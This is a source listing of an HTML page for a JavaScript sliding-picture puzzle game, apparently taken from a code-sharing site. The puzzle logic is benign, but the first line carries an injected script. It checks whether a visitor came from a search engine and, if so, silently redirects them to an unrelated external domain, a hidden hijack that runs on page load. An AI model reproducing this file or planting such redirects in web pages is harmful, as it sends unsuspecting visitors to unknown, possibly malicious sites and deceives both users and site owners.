d:\wwwroot\wuchunhua\js拼图.html
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><html>
002:
<head>
003:
<title>智力测验Puzzle</title>
004:
<script language="JavaScript">
005:
// 全局变量
006:
var previousStep = 10; // 上一步
007:
var nextStep; // 下一步
008:
var intSize = 11; // 图片数
009:
var intSteps = 0; // 步数
010:
var beginGame = false; // 是否开始游戏
011:
var intGameLevel = 1000; // 游戏程度
012:
// 图片数组
013:
var arrayImages = new Array("/uploads/allimg/1104/0.jpg","/uploads/allimg/1104/01.jpg","/uploads/allimg/1104/02.jpg","","/uploads/allimg/1104/04.jpg","/uploads/allimg/1104/05.jpg","/uploads/allimg/1104/06.jpg","","/uploads/allimg/1104/08.jpg","/uploads/allimg/1104/09.jpg","/uploads/allimg/1104/010.jpg");
014:
// 检查下一步是否为允许的步骤
015:
function validStep(currentStep, newStep){
016:
switch(currentStep){
017:
case 0:
018:
if (newStep == 1 || newStep == 4) return (true);
019:
break;
020:
case 1:
021:
if (newStep == 0 || newStep == 2 || newStep == 5) return (true);
022:
break;
023:
case 2:
024:
if (newStep == 1 || newStep == 6) return (true);
025:
break;
026:
case 4:
027:
if (newStep == 0 || newStep == 5 || newStep == 8) return (true);
028:
break;
029:
case 5:
030:
if (newStep == 1 || newStep == 4 || newStep == 6 || newStep == 9)
031:
return (true);
032:
break;
033:
case 6:
034:
if (newStep == 2 || newStep == 5 || newStep == 10) return (true);
035:
break;
036:
case 8:
037:
if (newStep == 4 || newStep == 9) return (true);
038:
break;
039:
case 9:
040:
if (newStep == 5 || newStep == 8 || newStep == 10) return (true);
041:
break;
042:
case 10:
043:
if (newStep == 6 || newStep == 9) return (true);
044:
break;
045:
default:
046:
return (false);}
047:
}
048:
// 是否已经完成
049:
function checkDone(){
050:
var objNode,intBeginPos,strImageName;
051:
for(var i = 0; i < intSize; i++) {
052:
if (arrayImages[i] != ""){
053:
objNode = puzzleNode.childNodes[i];
054:
// 取得图文件名称的位置
055:
intBeginPos = objNode.src.lastIndexOf("/");
056:
// 取得图片名称
057:
strImageName = objNode.src.substring(intBeginPos+1,objNode.src.length);
058:
// 检查图片文件是否正确
059:
if (strImageName != arrayImages[i]) return (false);
060:
}
061:
}
062:
return (true);
063:
}
064:
// 使用者移动图片
065:
function moveImage(){
066:
if (beginGame) {
067:
// 取得使用者选择的图片
068:
for (var i = 0; i < intSize; i++) {
069:
if (window.event.srcElement == puzzleNode.childNodes[i]) {
070:
nextStep = i;
071:
break;
072:
}
073:
}
074:
// 检查是否为合法的下一步
075:
if (validStep(previousStep, nextStep)){
076:
puzzleNode.childNodes[previousStep].swapNode(puzzleNode.childNodes[nextStep]);
077:
previousStep = nextStep;
078:
intSteps++;
079:
step.innerText = "目前为第" + intSteps + "步";
080:
if (checkDone()){
081:
alert("在第 " + intSteps + " 步完成游戏!");
082:
beginGame = false;
083:
step.innerText = "";
084:
}
085:
}
086:
}
087:
}
088:
// 源码来自:烈火下载 http://www.veryhuo.com/down
089:
// 加载图片到标记
090:
function loadImages(){
091:
for(var i = 0; i < intSize; i++)
092:
// 指定图片的src属性
093:
if (arrayImages[i] != "")
094:
puzzleNode.childNodes[i].src = arrayImages[i];
095:
}
096:
// 打乱Puzzle的图片
097:
function randomizeImages(){
098:
for(var i = 0; i < intGameLevel; i++) {
099:
// 随机数取得下一步
100:
nextStep = Math.round(Math.random() * (intSize - 1));
101:
if (validStep(previousStep,nextStep)){
102:
// 是合理的步骤, 交换节点
103:
puzzleNode.childNodes[previousStep].swapNode(puzzleNode.childNodes[nextStep]);
104:
previousStep = nextStep; // 重设目前的步骤
105:
}
106:
}
107:
}
108:
// 建立HTML的图片标记
109:
function createPuzzle(){
110:
var tempNode;
111:
var imageNode = document.createElement("IMG");
112:
var brNode = document.createElement("BR");
113:
// 建立3x3个图片
114:
for (var j = 0; j <= 2; j++){
115:
// 建立三个图片
116:
for (var i = 0; i <= 2; i++) {
117:
tempNode = imageNode.cloneNode();
118:
puzzleNode.appendChild(tempNode);
119:
}
120:
// 插入<br>标记
121:
if (j != 2){
122:
tempNode = brNode.cloneNode();
123:
puzzleNode.appendChild(tempNode);
124:
}
125:
}
126:
resetPuzzle();
127:
}
128:
// 重设Puzzle游戏
129:
function resetPuzzle(){
130:
loadImages();
131:
intSteps = 0;
132:
beginGame = false;
133:
intGameLevel = 1000;
134:
gamelevel.innerText = "初级";
135:
step.innerText = "";
136:
}
137:
// 开始Puzzle游戏
138:
function beginPuzzle(){
139:
randomizeImages()
140:
intSteps = 0;
141:
beginGame = true;
142:
step.innerText = "目前为第" + intSteps + "步";
143:
}
144:
// 选择等级
145:
function selectLevel(){
146:
intGameLevel = parseInt(level.options[level.selectedIndex].value);
147:
switch (intGameLevel){
148:
case 1000:
149:
gamelevel.innerText = "初级";
150:
break;
151:
case 2000:
152:
gamelevel.innerText = "中级";
153:
break;
154:
case 3000:
155:
gamelevel.innerText = "高级";
156:
break;
157:
}
158:
}
159:
</script>
160:
</head>
161:
<body onload="createPuzzle()" ID="bodyNode">
162:
<hr>
163:
<div align="center" id="puzzleNode" onclick="moveImage()"></div>
164:
<hr>
165:
<center>
166:
<select name="level">
167:
<option value="1000" Selected>初级</option>
168:
<option value="2000">中级</option>
169:
<option value="3000">高级</option>
170:
</select>
171:
<input type="button" onclick="selectLevel()" value="选择">
172:
<b>游戏为<span id="gamelevel"></span></b><br>
173:
<input type="button" value="重设游戏" onclick="resetPuzzle()">
174:
<input type="button" value="开始游戏" onclick="beginPuzzle()">
175:
<b><span id="step"></span></b>
176:
</center>
177:
</body>
178:
</html><br /><center>如不能显示效果,请按Ctrl+F5刷新本页,更多网页代码:<a href='http://www.veryhuo.com/' target='_blank'>http://www.veryhuo.com/</a></center>
179:
180: